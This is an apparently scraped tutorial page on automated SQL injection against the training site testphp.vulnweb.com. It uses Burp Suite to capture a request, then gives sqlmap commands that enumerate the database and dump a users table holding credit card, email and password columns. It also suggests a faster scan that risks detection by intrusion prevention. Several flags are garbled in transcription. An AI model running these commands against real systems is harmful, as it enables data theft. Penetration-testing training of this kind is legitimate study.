05 - 1 - Automated SQL Injection

You might also like

Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 8

SQL Injection

—Use ‘ ‘ to show SQL injection Vulnerability

—Use burp suite to do SQL injection

--Follow the steps below

First use ' ' to show that search option is vulnerable on http://testphp.vulnweb.com on any browser
like firefox

then
Intercept the request in burp suite and send it to the repeater.
Steps are --
Open Burp Suite
Open Browser

On the Browser open http://testphp.vulnweb.com and then click forward(on left side on burp
suite). and then you will see the web is opened up. Then use ‘ ‘ to generate a query (on search
art) then again click on forward(on left side on burp suite). You should be able to see page as
seen on screenshot
Copy the request to file say at ~/request.txt

Then use the file to do automated SQL injection

Open Terminal

sudo su -
sqlmap -r /home/kali/request.txt –dbs

Result

sqlmap -r /home/kali/request.txt -D acuart --tables

Most of the time the scan gets aborted in between. This is because of the IDS and IPS working
on the server side. So use a faster method to scan, which is given below.

OR

use a faster method but this will risk detection.

sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" --batch --risk 3 --


technique=U -D acuart --tables

Then find the columns using command below

sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" --batch --risk 3 --


technique=U -D acuart -T users –columns

Output

likewise you can get columns in the product table

sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" --batch --risk 3 --


technique=U -D acuart -T products - - columns
Now use the following command to get the entries in all the columns

sqlmap -u "http://testphp.vulnweb.com/search.php?test=query" --batch --risk 3 --


technique=U -D acuart -T users –C address,cart,cc,email,name,pass,phone,uname --dump

Output

You might also like